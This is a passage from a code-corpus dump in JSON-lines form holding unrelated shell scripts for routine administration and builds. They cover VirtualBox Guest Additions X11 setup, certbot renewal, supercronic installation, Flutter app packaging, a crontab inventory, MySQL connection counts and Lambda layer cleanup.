fi\n\n case \"${x_version}\" in\n 4.* | 6.* | 7.* | 1.?.* | 1.1[0-6].* )\n blacklist_vboxvideo=\"yes\"\n ;;\n esac\n case \"$oracle_release\" in\n Oracle*release\\ 6.* )\n # relevant for OL6/UEK4 but cannot hurt for other kernels\n blacklist_vboxvideo=\"yes\"\n esac\n if test -n \"${blacklist_vboxvideo}\"; then\n test -d /etc/modprobe.d &&\n echo \"blacklist vboxvideo\" > /etc/modprobe.d/blacklist-vboxvideo.conf\n else\n test -f /etc/modprobe.d/blacklist-vboxvideo.conf &&\n rm -f /etc/modprobe.d/blacklist-vboxvideo.conf\n # We do not want to load the driver if X.Org Server is already\n # running, as without a driver the server will touch the hardware\n # directly, causing problems.\n ps -Af | grep -q '[X]org' || ${MODPROBE} -q vboxvideo\n fi\n\n test -z \"$x_version\" -o -z \"$modules_dir\" &&\n {\n echo \"Could not find the X.Org or XFree86 Window System, skipping.\" >&2\n exit 0\n }\n\n # openSUSE 10.3 shipped X.Org 7.2 with X.Org Server 1.3, but didn't\n # advertise the fact.\n if grep -q '10\\.3' /etc/SuSE-release 2>/dev/null; then\n case $x_version in 7.2.*)\n x_version=1.3.0;;\n esac\n fi\n case $x_version in\n 1.*.99.* )\n echo \"Warning: unsupported pre-release version of X.Org Server installed. Not installing the X.Org drivers.\" >&2\n dox11config=\"\"\n ;;\n 1.11.* )\n xserver_version=\"X.Org Server 1.11\"\n vboxvideo_src=vboxvideo_drv_111.so\n test \"$system\" = \"redhat\" && test -z \"${vmsvga}\" || setupxorgconf=\"\"\n ;;\n 1.10.* )\n xserver_version=\"X.Org Server 1.10\"\n vboxvideo_src=vboxvideo_drv_110.so\n test \"$system\" = \"redhat\" && test -z \"${vmsvga}\" || setupxorgconf=\"\"\n ;;\n 1.9.* )\n xserver_version=\"X.Org Server 1.9\"\n vboxvideo_src=vboxvideo_drv_19.so\n # Fedora 14 to 16 patched out vboxvideo detection\n test \"$system\" = \"redhat\" && test -z \"${vmsvga}\" || setupxorgconf=\"\"\n ;;\n 1.8.* )\n xserver_version=\"X.Org Server 1.8\"\n vboxvideo_src=vboxvideo_drv_18.so\n # Fedora 13 shipped without vboxvideo detection\n test \"$system\" = \"redhat\" && test -z \"${vmsvga}\" || setupxorgconf=\"\"\n ;;\n 1.7.* )\n xserver_version=\"X.Org Server 1.7\"\n vboxvideo_src=vboxvideo_drv_17.so\n setupxorgconf=\"\"\n ;;\n 1.6.* )\n xserver_version=\"X.Org Server 1.6\"\n vboxvideo_src=vboxvideo_drv_16.so\n vboxmouse_src=vboxmouse_drv_16.so\n # SUSE SLE* with X.Org 1.6 does not do input autodetection;\n # openSUSE does.\n if grep -q -E '^SLE[^ ]' /etc/SuSE-brand 2>/dev/null; then\n automouse=\"\"\n else\n test \"$system\" = \"suse\" && setupxorgconf=\"\"\n fi\n ;;\n 1.5.* )\n xserver_version=\"X.Org Server 1.5\"\n vboxvideo_src=vboxvideo_drv_15.so\n vboxmouse_src=vboxmouse_drv_15.so\n # Historical note: SUSE with X.Org Server 1.5 disabled automatic\n # mouse configuration and was handled specially. However since our\n # kernel driver seems to have problems with X.Org Server 1.5 anyway\n # we just create an X.Org configuration file and use the user space\n # one generally, no longer just for SUSE.\n automouse=\"\"\n ;;\n 1.4.* )\n xserver_version=\"X.Org Server 1.4\"\n vboxvideo_src=vboxvideo_drv_14.so\n vboxmouse_src=vboxmouse_drv_14.so\n automouse=\"\"\n ;;\n 1.3.* )\n # This was the first release which gave the server version number\n # rather than the X11 release version when you did 'X -version'.\n xserver_version=\"X.Org Server 1.3\"\n vboxvideo_src=vboxvideo_drv_13.so\n vboxmouse_src=vboxmouse_drv_13.so\n automouse=\"\"\n ;;\n 7.1.* | 7.2.* )\n xserver_version=\"X.Org 7.1\"\n vboxvideo_src=vboxvideo_drv_71.so\n vboxmouse_src=vboxmouse_drv_71.so\n automouse=\"\"\n ;;\n 6.9.* | 7.0.* )\n xserver_version=\"X.Org 6.9/7.0\"\n vboxvideo_src=vboxvideo_drv_70.so\n vboxmouse_src=vboxmouse_drv_70.so\n automouse=\"\"\n ;;\n 6.7* | 6.8.* | 4.2.* | 4.3.* )\n # As the module binaries are the same we use one text for these\n # four server versions.\n xserver_version=\"XFree86 4.2/4.3 and X.Org 6.7/6.8\"\n driver_ext=.o\n vboxvideo_src=vboxvideo_drv.o\n vboxmouse_src=vboxmouse_drv.o\n automouse=\"\"\n autokeyboard=\"\"\n case $x_version in\n 6.8.* )\n autokeyboard=\"--autoKeyboard\"\n ;;\n 4.2.* | 4.3.* )\n main_cfg=\"/etc/X11/XF86Config\"\n ;;\n esac\n ;;\n 1.12.* | 1.13.* | 1.14.* | 1.15.* | 1.16.* | 1.17.* | 1.18.* )\n xserver_version=\"X.Org Server ${x_version_short}\"\n vboxvideo_src=vboxvideo_drv_`echo ${x_version_short} | sed 's/\\.//'`.so\n setupxorgconf=\"\"\n test -f \"${lib_dir}/${vboxvideo_src}\" ||\n {\n echo \"Warning: unknown version of the X Window System installed. Not installing X Window System drivers.\" >&2\n dox11config=\"\"\n vboxvideo_src=\"\"\n }\n ;;\n * )\n # For anything else, assume kernel drivers.\n dox11config=\"\"\n ;;\n esac\n test -n \"${dox11config}\" &&\n echo \"Installing $xserver_version modules\" >&2\n case \"$vboxvideo_src\" in\n ?*)\n ln -s \"${lib_dir}/$vboxvideo_src\" \"$modules_dir/drivers/vboxvideo_drv$driver_ext.new\" &&\n mv \"$modules_dir/drivers/vboxvideo_drv$driver_ext.new\" \"$modules_dir/drivers/vboxvideo_drv$driver_ext\";;\n *)\n rm \"$modules_dir/drivers/vboxvideo_drv$driver_ext\" 2>/dev/null\n esac\n case \"$vboxmouse_src\" in\n ?*)\n ln -s \"${lib_dir}/$vboxmouse_src\" \"$modules_dir/input/vboxmouse_drv$driver_ext.new\" &&\n mv \"$modules_dir/input/vboxmouse_drv$driver_ext.new\" \"$modules_dir/input/vboxmouse_drv$driver_ext\";;\n *)\n rm \"$modules_dir/input/vboxmouse_drv$driver_ext\" 2>/dev/null\n esac\n\n if test -n \"$dox11config\"; then\n # Certain Ubuntu/Debian versions use a special PCI-id file to identify\n # video drivers. Some versions have the directory and don't use it.\n # Those versions can autoload vboxvideo though, so we don't need to\n # hack the configuration file for them.\n test \"$system\" = \"debian\" -a -d /usr/share/xserver-xorg/pci &&\n {\n rm -f \"/usr/share/xserver-xorg/pci/vboxvideo.ids\"\n ln -s \"${lib_dir}/vboxvideo.ids\" /usr/share/xserver-xorg/pci 2>/dev/null\n test -n \"$automouse\" && setupxorgconf=\"\"\n }\n\n # Do the XF86Config/xorg.conf hack for those versions that require it\n configured=\"\"\n generated=\"\"\n if test -n \"$setupxorgconf\"; then\n for i in $x11conf_files; do\n if test -r \"$i\"; then\n if grep -q \"VirtualBox generated\" \"$i\"; then\n generated=\"$generated `printf \"$i\\n\"`\"\n else\n \"${lib_dir}/x11config.sh\" $autokeyboard $automouse $nopsaux $vmsvga \"$i\"\n fi\n configured=\"true\"\n fi\n # Timestamp, so that we can see if the config file is changed\n # by someone else later\n test -r \"$i.vbox\" && touch \"$i.vbox\"\n done\n # X.Org Server 1.5 and 1.6 can detect hardware they know, but they\n # need a configuration file for VBoxVideo.\n nobak_cfg=\"`expr \"${main_cfg}\" : '\\([^.]*\\)'`.vbox.nobak\"\n if test -z \"$configured\"; then\n touch \"$main_cfg\"\n \"${lib_dir}/x11config.sh\" $autokeyboard $automouse $nopsaux $vmsvga --noBak \"$main_cfg\"\n touch \"${nobak_cfg}\"\n fi\n fi\n test -n \"$generated\" &&\n cat >&2 << EOF\nThe following X.Org/XFree86 configuration files were originally generated by\nthe VirtualBox Guest Additions and were not modified:\n\n$generated\n\nEOF\n tty >/dev/null && cat << EOF\nYou may need to restart the Window System (or just restart the guest system)\nto enable the Guest Additions.\n\nEOF\n fi\n\n case \"$redhat_release\" in\n # Install selinux policy for Fedora 7 and 8 to allow the X server to\n # open device files\n Fedora\\ release\\ 7* | Fedora\\ release\\ 8* )\n semodule -i \"${lib_dir}/vbox_x11.pp\" > /dev/null 2>&1\n ;;\n # Similar for the accelerated graphics check on Fedora 15\n Fedora\\ release\\ 15* )\n semodule -i \"${lib_dir}/vbox_accel.pp\" > /dev/null 2>&1\n ;;\n esac\n\n # Install selinux policy for Fedora 8 to allow the X server to\n # open our drivers\n case \"$redhat_release\" in\n Fedora\\ release\\ 8* )\n chcon -u system_u -t lib_t \"${lib_dir}\"/*.so 2>/dev/null\n ;;\n esac\n\n # Our logging code generates some glue code on 32-bit systems. At least F10\n # needs a rule to allow this. Send all output to /dev/null in case this is\n # completely irrelevant on the target system.\n # chcon is needed on old Fedora/Redhat systems. No one remembers which.\n chcon -t unconfined_execmem_exec_t '/usr/bin/VBoxClient' > /dev/null 2>&1\n semanage fcontext -a -t unconfined_execmem_exec_t '/usr/bin/VBoxClient' > /dev/null 2>&1\n\n # And set up VBoxClient to start when the X session does\n install_x11_startup_app \"${lib_dir}/98vboxadd-xclient\" \"${lib_dir}/vboxclient.desktop\" VBoxClient VBoxClient-all ||\n fail \"Failed to set up VBoxClient to start automatically.\"\n ln -s \"${lib_dir}/98vboxadd-xclient\" /usr/bin/VBoxClient-all 2>/dev/null\n case \"${x_version}\" in 4.* | 6.* | 7.* | 1.?.* | 1.1* )\n setup_opengl\n esac \n # Try enabling VMSVGA drm device resizing.\n VBoxClient --vmsvga\n}\n\ncleanup()\n{\n # Restore xorg.conf files as far as possible\n # List of generated files which have been changed since we generated them\n newer=\"\"\n # Are we dealing with a legacy information which didn't support\n # uninstallation?\n legacy=\"\"\n # Do any of the restored configuration files still reference our drivers?\n failed=\"\"\n # Have we encountered a \"nobak\" configuration file which means that there\n # is no original file to restore?\n nobak=\"\"\n test -r \"$CONFIG_DIR/$CONFIG\" || legacy=\"true\"\n for main_cfg in \"/etc/X11/xorg.conf\" \"/etc/X11/XF86Config\"; do\n nobak_cfg=\"`expr \"${main_cfg}\" : '\\([^.]*\\)'`.vbox.nobak\"\n if test -r \"${nobak_cfg}\"; then\n test -r \"${main_cfg}\" &&\n if test -n \"${legacy}\" -o ! \"${nobak_cfg}\" -ot \"${main_cfg}\"; then\n rm -f \"${nobak_cfg}\" \"${main_cfg}\"\n else\n newer=\"${newer}`printf \" ${main_cfg} (no original)\\n\"`\"\n fi\n nobak=\"true\"\n fi\n done\n if test -z \"${nobak}\"; then\n for i in $x11conf_files; do\n if test -r \"$i.vbox\"; then\n if test ! \"$i\" -nt \"$i.vbox\" -o -n \"$legacy\"; then\n mv -f \"$i.vbox\" \"$i\"\n grep -q -E 'vboxvideo|vboxmouse' \"$i\" &&\n failed=\"$failed`printf \" $i\\n\"`\"\n else\n newer=\"$newer`printf \" $i ($i.vbox)\\n\"`\"\n fi\n fi\n done\n fi\n test -n \"$newer\" && cat >&2 << EOF\n\nThe following X.Org/XFree86 configuration files were not restored, as they may\nhave been changed since they were generated by the VirtualBox Guest Additions.\nYou may wish to restore these manually. The file name in brackets is the\noriginal version.\n\n$newer\n\nEOF\n test -n \"$failed\" && cat >&2 << EOF\n\nThe following X.Org/XFree86 configuration files were restored, but still\ncontain references to the Guest Additions drivers. You may wish to check and\npossibly correct the restored configuration files to be sure that the server\nwill continue to work after it is restarted.\n\n$failed\n\nEOF\n\n # Remove X.Org drivers\n modules_dir=`X -showDefaultModulePath 2>&1` || modules_dir=\n if [ -z \"$modules_dir\" ]; then\n for dir in /usr/lib64/xorg/modules /usr/lib/xorg/modules /usr/X11R6/lib64/modules /usr/X11R6/lib/modules /usr/X11R6/lib/X11/modules; do\n if [ -d $dir ]; then\n modules_dir=$dir\n break\n fi\n done\n fi\n rm -f \"$modules_dir/drivers/vboxvideo_drv\"* 2>/dev/null\n rm -f \"$modules_dir/input/vboxmouse_drv\"* 2>/dev/null\n\n # Remove the link to vboxvideo_dri.so\n for dir in /usr/lib/dri /usr/lib32/dri /usr/lib64/dri \\\n /usr/lib/xorg/modules/dri /usr/lib32/xorg/modules/dri \\\n /usr/lib64/xorg/modules/dri /usr/lib/i386-linux-gnu/dri \\\n /usr/lib/x86_64-linux-gnu/dri; do\n if [ -d $dir ]; then\n rm -f \"$dir/vboxvideo_dri.so\" 2>/dev/null\n fi\n done\n\n # Remove VBoxClient autostart files\n rm /etc/X11/Xsession.d/98vboxadd-xclient 2>/dev/null\n rm /etc/X11/xinit.d/98vboxadd-xclient 2>/dev/null\n rm /etc/X11/xinit/xinitrc.d/98vboxadd-xclient.sh 2>/dev/null\n rm /etc/xdg/autostart/vboxclient.desktop 2>/dev/null\n rm /usr/share/autostart/vboxclient.desktop 2>/dev/null\n rm /usr/bin/VBoxClient-all 2>/dev/null\n\n # Remove other files\n rm /usr/share/xserver-xorg/pci/vboxvideo.ids 2>/dev/null\n return 0\n}\n\ndmnstatus()\n{\n /bin/true\n}\n\ncase \"$1\" in\nstart)\n start\n ;;\nstop)\n stop\n ;;\nrestart)\n restart\n ;;\nsetup)\n setup\n ;;\ncleanup)\n cleanup\n ;;\nstatus)\n dmnstatus\n ;;\n*)\n echo \"Usage: $0 {start|stop|restart|status}\"\n exit 1\nesac\n\nexit"} {"text": "#!/bin/bash\n\n#\n# source common include\n#\nsource \"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)/.cron-common.bash\"\n\n#\n# configure opts\n#\nif [[ -x \"${CERTBOT_RENEW_HOOK_PRE}\" ]]; then\n CERTBOT_RENEW_OPTS=\"${CERTBOT_RENEW_OPTS} --pre-hook=\"${CERTBOT_RENEW_HOOK_PRE}\"\"\nfi\nif [[ -x \"${CERTBOT_RENEW_HOOK_POST}\" ]]; then\n CERTBOT_RENEW_OPTS=\"${CERTBOT_RENEW_OPTS} --post-hook=\"${CERTBOT_RENEW_HOOK_POST}\"\"\nfi\n\n#\n# renew certificates\n#\nwriteActionSummary 'Running %s renew operation' \"${CERTBOT_BIN}\"\n\n${CERTBOT_BIN} ${CERTBOT_RENEW_OPTS} &> \"${CBC_LOG_FILE}\"\n_R=$?\n\nif [[ ${_R} -eq 0 ]]; then\n writeActionResultOkay 'logs: %s' \"${CBC_LOG_FILE}\"\nelse\n writeActionResultFail 'exit: %d, logs: %s' ${_R} \"${CBC_LOG_FILE}\"\nfi"} {"text": "CTH24/mac-development-setup\n#!/bin/zsh\n\n# Setup glances\necho \necho 'Setup glances' | boxes -d ada-box -a c\necho \n\nbrew list glances || brew install glances"} {"text": "#!/bin/sh\n\nset -e\n\nplatform=$1\n\ndownload_and_install_supercronic() {\n SUPERCRONIC_URL=$1\n SUPERCRONIC=$2\n SUPERCRONIC_SHA1SUM=$3\n\n curl -fsSLO \"$SUPERCRONIC_URL\"\n echo \"${SUPERCRONIC_SHA1SUM} ${SUPERCRONIC}\" | sha1sum -c -\n chmod +x \"$SUPERCRONIC\"\n mv \"$SUPERCRONIC\" \"/usr/local/bin/${SUPERCRONIC}\"\n ln -s \"/usr/local/bin/${SUPERCRONIC}\" /usr/local/bin/supercronic\n}\n\ncase \"${platform}\" in\n \"linux/amd64\")\n url=https://github.com/aptible/supercronic/releases/download/v0.1.11/supercronic-linux-amd64\n fileName=supercronic-linux-amd64\n hash=a2e2d47078a8dafc5949491e5ea7267cc721d67c\n ;;\n \"linux/arm\")\n url=https://github.com/aptible/supercronic/releases/download/v0.1.11/supercronic-linux-arm\n fileName=supercronic-linux-arm\n hash=0fd443072c2e028fbe6e78dc7880a1870f8ccac8\n ;;\n \"linux/arm64\")\n url=https://github.com/aptible/supercronic/releases/download/v0.1.11/supercronic-linux-arm64\n fileName=supercronic-linux-arm64\n hash=f011a67f4c56acbef7a75222cb1d7c0d1bb29968\n ;;\n *)\n echo \"Unknown platform argument value: '${PLATFORM}'\"\n exit 1\n ;;\nesac\n\ndownload_and_install_supercronic $url $fileName $hash"} {"text": "#!/usr/bin/env bash\n\nset -xe\n\nfunction extractDSym()\n{\n local lib=$1\n local libfile=$(basename $lib)\n local libname=\"${libfile%.*}\"\n local targetdir=$2\n local dsymfile=${targetdir}/${libname}.dSYM\n\n if [[ -d \"$dsymfile\" ]]; then\n echo \"Skipping dSYM generation for $libfile: dSYM exists\"\n elif [[ ! -L \"$lib\" && \"$lib\" != \"{}\" && $lib != *\"dSYM\"* ]]; then\n echo \"Extracting dSYMs from $libfile to $dsymfile\"\n dsymutil \"$lib\" -o \"$dsymfile\"\n fi\n}\n\nexport -f extractDSym\n\nmkdir -p \"$CONAN_USER_HOME/dsyms\"\n\nfind $CONAN_USER_HOME -name \"*.dylib\" | xargs -I {} bash -c \"extractDSym \\\"{}\\\" \\\"$CONAN_USER_HOME/dsyms\\\"\""} {"text": "makerun.sh\n#!/bin/bash\n# makerun.sh\n# Make sure smartcashd is always running.\n# Add the following to the crontab (i.e. crontab -e)\n# */5 * * * * ~/smartnode/makerun.sh\n\nif ! ps -A | grep smartcashd > /dev/null\nthen\n smartcashd\nfi\n\nif ! ps -Af | grep cpulimit | grep smartcashd > /dev/null\nthen\n cpulimit -P /usr/bin/smartcashd -l 50\nfi"} {"text": "#!/bin/bash\n# -----------------------------------------------------------------------------\n# detectCrontabs.sh\n# interrogate the cron jobs on a macOS system\n# Last Edited: 6/27/18 \n# -----------------------------------------------------------------------------\n\n### VARIABLES\ntabs=\"/tmp/crontabs.txt\"\nartifacts=\"/tmp/artifacts.txt\"\n\n### SCRIPT\n# find out if anything is in the crontab directory\nsudo ls -1 /usr/lib/cron/tabs >> \"$tabs\"\n\n# calculate the number of lines in the tabs file\nlengthTabs=\"$(wc -l < \"$tabs\")\"\n\nif [ \"$lengthTabs\" -gt 0 ] ; then\n\tcat \"$tabs\" | while read line\n\tdo\n\t\techo \"$line ==========\" >> \"$artifacts\"\n\t\tcat \"/usr/lib/cron/tabs/$line\" >> \"$artifacts\"\n\tdone\n\t\n\tresult=\"$(cat $artifacts)\"\n\n\t# display result to the JSS\n\techo \"$result\"\n\n\t# clean up\n\tif [ -e \"$tabs\" ] ; then\n\t\trm \"$tabs\"\n\tfi\n\tif [ -e \"$artifacts\" ] ; then\n\t\trm \"$artifacts\"\n\tfi\nelse\n\t# no crontabs, display None\n\techo \"None\"\n\tif [ -e \"$tabs\" ] ; then\n\t\trm \"$tabs\"\n\tfi\nfi\n# -----------------------------------------------------------------------------"} {"text": "ChuranHe/safer-illinois-app0\n#!/bin/bash\nhelp() {\n echo \"\"\n echo \"SETUP\"\n echo \"Install qrencode: brew install qrencode\"\n echo \"\"\n echo \"Usage: ./scripts/build.sh {BRAND} {ENV} {PLATFORM}\"\n echo \"{BRAND} brand name | Default: Illinois if the param is missing or empty\"\n echo \"{ENV} Environment name | Default: dev\"\n echo \"{PLATFORM} Target platform. Values: all|ios|android Default: all\"\n echo \"\"\n echo \"\"\n}\n\nhelp\n\nCURRENT_DIR=$(PWD)\nFILE_PUBSPEC=$(cat pubspec.yaml)\n\nBRAND=\"$1\"\nENV=\"$2\"\nPLATFORM=\"$3\"\n\n\nif [ -z \"$BRAND\" ]\nthen\n BRAND=\"Illinois\"\n echo \"The BRAND param is empty. Use default value: $BRAND\"\nfi\nif [ -z \"$ENV\" ]\nthen\n ENV=\"dev\"\n echo \"The ENV param is empty. Use default value: $ENV\"\nfi\nif [ -z \"$PLATFORM\" ]\nthen\n PLATFORM=\"all\"\n echo \"The PLATFORM param is empty. Use default value: $PLATFORM\"\nfi\n\ncd ios\nBUNDLE_ID=$(xcodebuild -showBuildSettings | grep PRODUCT_BUNDLE_IDENTIFIER | awk -F ' = ' '{print $2}')\ncd ..\n\nTEMPLATE_BRAND=\"{{BRAND}}\"\nTEMPLATE_VERSION=\"{{VERSION}}\"\nTEMPLATE_ENV=\"{{ENV}}\"\nTEMPLATE_BUNDLE_ID=\"{{BUNDLE_ID}}\"\nBUILD_DIR=\"${CURRENT_DIR}/build\"\nOUTPUT_DIR=\"${BUILD_DIR}/_output\"\nAPK_BUILD_PATH=\"${BUILD_DIR}/app/outputs/apk/release/app-release.apk\"\nVERSION=$(grep \"version:\" pubspec.yaml | sed -e 's/.* //' | sed -e 's/+.*//')\nAPK_OUT_PATH=\"${OUTPUT_DIR}/$BRAND-$VERSION-$ENV.apk\"\nIPA_OUT_PATH=\"${OUTPUT_DIR}/$BRAND-$VERSION-$ENV.ipa\"\nQR_BUILD_PATH=\"${OUTPUT_DIR}/$BRAND-$VERSION-$ENV.png\"\nPLIST_TEMPLATE_PATH=\"$CURRENT_DIR/scripts/templates/template.plist\"\nPLIST_BUILD_PATH=\"$OUTPUT_DIR/$BRAND-$VERSION-$ENV.plist\"\n\necho $PLIST_BUILD_PATH\nQR_PLIST_URL=\"itms-services://?action=download-manifest&url=https://rokwire-ios-beta.s3.us-east-2.amazonaws.com/Installs/$BRAND-$VERSION-$ENV.plist\"\n\necho \"Cleaning the build environment.\"\nrm -rf $OUTPUT_DIR\nflutter clean\n\nflutter doctor\nflutter pub get\n\nif [ -d \"$OUTPUT_DIR\" ]; then\n echo \"Output dir: ${OUTPUT_DIR} \"\nelse\n mkdir -p ${OUTPUT_DIR}\n echo \"Output dir: ${OUTPUT_DIR} created\"\nfi\n\necho \"Building version: ${VERSION}\"\n\nif [ \"$PLATFORM\" = \"all\" ] || [ \"$PLATFORM\" = \"android\" ]; then\n echo \"Building APK...\"\n flutter build apk\n\n if [ -f \"$APK_BUILD_PATH\" ]; then\n cp $APK_BUILD_PATH $APK_OUT_PATH\n echo \"Copy to $APK_OUT_PATH\"\n fi\nfi\n\nif [ \"$PLATFORM\" = \"all\" ] || [ \"$PLATFORM\" = \"ios\" ]; then\n\n echo \"Generating QR image...\"\n qrencode -s 10 -d 300 -o $QR_BUILD_PATH \"$QR_PLIST_URL\"\n\n echo \"Generating iOS plist...\"\n cp $PLIST_TEMPLATE_PATH $PLIST_BUILD_PATH\n sed -i '' \"s/$TEMPLATE_VERSION/$VERSION/g\" $PLIST_BUILD_PATH\n sed -i '' \"s/$TEMPLATE_BRAND/$BRAND/g\" $PLIST_BUILD_PATH\n sed -i '' \"s/$TEMPLATE_ENV/$ENV/g\" $PLIST_BUILD_PATH\n sed -i '' \"s/$TEMPLATE_BUNDLE_ID/$BUNDLE_ID/g\" $PLIST_BUILD_PATH\n\n flutter build ios\n\n cd ios\n xcodebuild -workspace Runner.xcworkspace -scheme Runner -archivePath ../build/_output/tmp/Runner.xcarchive archive\n xcodebuild -exportArchive -archivePath ../build/_output/tmp/Runner.xcarchive -exportPath ../build/_output/tmp/ -exportOptionsPlist ../build/_output/$BRAND-$VERSION-$ENV.plist\n cd ..\n cp ./build/_output/tmp/Runner.ipa ./build/_output/$BRAND-$VERSION-$ENV.ipa\n rm -rf ./build/_output/tmp/\nfi\n\n\n\necho \"########################################################################\"\necho \"Generated URLs for the report\"\nif [ \"$PLATFORM\" = \"all\" ] || [ \"$PLATFORM\" = \"android\" ]; then\n echo \"Android:\"\n echo \"https://rokwire-ios-beta.s3.us-east-2.amazonaws.com/Installs/$BRAND-$VERSION-$ENV.apk\"\n echo \"\"\nfi\nif [ \"$PLATFORM\" = \"all\" ] || [ \"$PLATFORM\" = \"ios\" ]; then\necho \"iOS:\"\necho \"https://rokwire-ios-beta.s3.us-east-2.amazonaws.com/Installs/$BRAND-$VERSION-$ENV.ipa\"\necho \"itms-services://?action=download-manifest&url=https://rokwire-ios-beta.s3.us-east-2.amazonaws.com/Installs/$BRAND-$VERSION-$ENV.plist\"\necho \"https://rokwire-ios-beta.s3.us-east-2.amazonaws.com/Installs/$BRAND-$VERSION-$ENV.png\"\necho \"\"\nfi\necho \"TODO2: Upload to S3 through command line!\"\necho -ne '\\007'"} {"text": "1-10\n#!/bin/bash\n# List the users connected to mysql ordered by number of connections\nmysqladmin processlist | awk -F '|' 'BEGIN { flag = 0 } flag == 1 && /^\\|/ { print $3 } /^\\|/ { flag = 1 }' | sort | uniq -c | sort -nr"} {"text": "src/vent-demo/demo-innov.sh\n#!/bin/bash\n\nexport ROOT_SITE=www.epfl.ch\nCSV_FILE=/srv/$WP_ENV/jahia2wp/src/vent-demo/data/ventilation-innov.csv\n\nROOT_WP_DEST=/srv/$WP_ENV/$ROOT_SITE/htdocs\n\n# This DEMO reads the csv and migrates the content under the ROOT_SITE\n# ***** It does not export missing sites nor creates destination sites. ********\n\n# Look at demo.sh if you need to see an example to generate and export sites.\n# Uncomment the following lines to try to do it for this example:\n\n# Generate target site (as stated in the rules ventilation-innov.csv)\n# python jahia2wp.py generate $WP_ENV https://www.epfl.ch/innovation --admin-password= --extra-config=vent-demo/data/generate-enfr.yml\n# Move the accred and tequila plugins to let for local connections\n# find /srv/$WP_ENV/$ROOT_SITE/ -type d \\( -iname \"accred\" -o -iname \"tequila\" \\) -print0 | xargs -0 -I {} mv {} {}.bak\n\n# Export the required sites\n# demo_site_export='/tmp/j2wp_demosite.csv'\n# echo 'wp_site_url,wp_tagline,wp_site_title,site_type,openshift_env,category,theme,theme_faculty,status,installs_locked,updates_automatic,langs,unit_name,Jahia_zip,comment' > $demo_site_export;\n# echo 'https://vpi.epfl.ch,#parser,#parser,wordpress,int,GeneralPublic,epfl-master,#parser,yes,yes,yes,#parser,vpi,vpiv,' >> $demo_site_export;\n# echo 'https://social-impact.epfl.ch,#parser,#parser,wordpress,int,GeneralPublic,epfl-master,#parser,yes,yes,yes,#parser,vpi,social-impact,' >> $demo_site_export;\n# echo 'https://entreprises.epfl.ch,#parser,#parser,wordpress,int,GeneralPublic,epfl-master,#parser,yes,yes,yes,#parser,vpi,entreprises,migrable' >> $demo_site_export;\n# echo 'https://clipair.epfl.ch,#parser,#parser,wordpress,int,GeneralPublic,epfl-blank,#parser,yes,yes,yes,#parser,liv,clipair,' >> $demo_site_export;\n# echo 'https://bioinspired.epfl.ch,#parser,#parser,wordpress,int,GeneralPublic,epfl-master,#parser,yes,yes,yes,#parser,ip,bioinspired,' >> $demo_site_export;\n# echo 'https://sportstech.epfl.ch,#parser,#parser,wordpress,int,GeneralPublic,epfl-master,#parser,yes,yes,yes,#parser,vpi,sport,migrable' >> $demo_site_export;\n# echo \"**** Make sure the wp_exporter has port 8080 to enable the API Rest during export. By default only for jahia2wp-httpd\"\n# echo \"IF the export failed, do a clean like: python jahia2wp.py clean $WP_ENV http://vpi.epfl.ch\"\n# PYTHONIOENCODING=\"utf-8\" python jahia2wp.py export-many $demo_site_export --admin-password=\n\n# 1) Delete all content (pages, media, menu, sidebars) from target WP destination tree.\n./vent-demo/utils/del-posts.sh \"$ROOT_WP_DEST/innovation\"\n\n# 2) RUN the migration. Force utf8 for io since c2c container uses a variant of ascii for io.\nPYTHONIOENCODING=\"utf-8\" python jahia2wp.py migrate-urls $CSV_FILE $WP_ENV --root_wp_dest=$ROOT_WP_DEST"} {"text": "nshobe/NICAR2015WhoAmI.sh\n#!/bin/bash\n\necho \"Hi, your name is $(whoami), you're running $(uname -o). Currently it's $(date %A) and I hope you're having a good one.\""} {"text": "#!/bin/bash\n\nset -eu\n\nreadonly RWD=\"$1\"\nshift\n\ncd \"/home/rubydev/workdir/$RWD\"\nexec \"$@\""} {"text": "#!/bin/bash\n\nclean_python_metadata () {\n site=$1\n echo \"Cleaning python package metadata from $site ...\"\n find \"$site\" -type d -name '*.dist-info' -exec rm -rf {} +\n find \"$site\" -type d -name '*.egg-info' -exec rm -rf {} +\n}\n\nclean_python_packages () {\n site=$1\n echo \"Optimizing python package installations in $site ...\"\n find \"$site\" -type d -name '__pycache__' -exec rm -rf {} +\n find \"$site\" -type d -name 'tests' -exec rm -rf {} +\n find \"$site\" -type f -name '*.py[co]' -exec rm -f {} +\n}\n\nstrip_binary_libs() {\n site=$1\n echo \"Optimizing binary libraries *.so* in $site ...\"\n find \"$site\" -type f -name '*.so*' -exec strip {} \\;\n}\n\nstrip_pydantic_binaries () {\n site=$1\n # This can reduce pydantic from 30Mb down to 6Mb\n if [ -d \"${site}/pydantic\" ]; then\n echo \"Optimizing pydantic binaries in $site/pydantic ...\"\n find \"${site}/pydantic\" -type f -name '*.cpython*.so*' -exec strip {} \\;\n fi\n}\n\n\n# The lambda runtime should provide the following packages,\n# so it should be possible to remove them all from layers.\n#\n# /var/runtime/boto3-1.12.49.dist-info\n# /var/runtime/botocore-1.15.49.dist-info\n# /var/runtime/docutils-0.15.2.dist-info\n# /var/runtime/jmespath-0.9.5.dist-info\n# /var/runtime/python_dateutil-2.8.1.dist-info -> dateutil\n# /var/runtime/s3transfer-0.3.3.dist-info\n# /var/runtime/six-1.14.0.dist-info\n# /var/runtime/urllib3-1.25.9.dist-info\n\nclean_aws_packages () {\n site=$1\n echo \"Cleaning AWS SDK packages from $site ...\"\n find \"$site\" -type d -name 'boto3' -exec rm -rf {} +\n find \"$site\" -type d -name 'boto3-*.dist-info' -exec rm -rf {} +\n find \"$site\" -type d -name 'botocore' -exec rm -rf {} +\n find \"$site\" -type d -name 'botocore-*.dist-info' -exec rm -rf {} +\n find \"$site\" -type d -name 'dateutil' -exec rm -rf {} +\n find \"$site\" -type d -name 'python_dateutil-*.dist-info' -exec rm -rf {} +\n find \"$site\" -type d -name 'docutils' -exec rm -rf {} +\n find \"$site\" -type d -name 'docutils-*.dist-info' -exec rm -rf {} +\n find \"$site\" -type d -name 'jmespath' -exec rm -rf {} +\n find \"$site\" -type d -name 'jmespath-*.dist-info' -exec rm -rf {} +\n find \"$site\" -type d -name 's3transfer' -exec rm -rf {} +\n find \"$site\" -type d -name 's3transfer-*.dist-info' -exec rm -rf {} +\n find \"$site\" -type d -name 'six' -exec rm -rf {} +\n find \"$site\" -type d -name 'six-*.dist-info' -exec rm -rf {} +\n find \"$site\" -type d -name 'urllib3' -exec rm -rf {} +\n find \"$site\" -type d -name 'urllib3-*.dist-info' -exec rm -rf {} 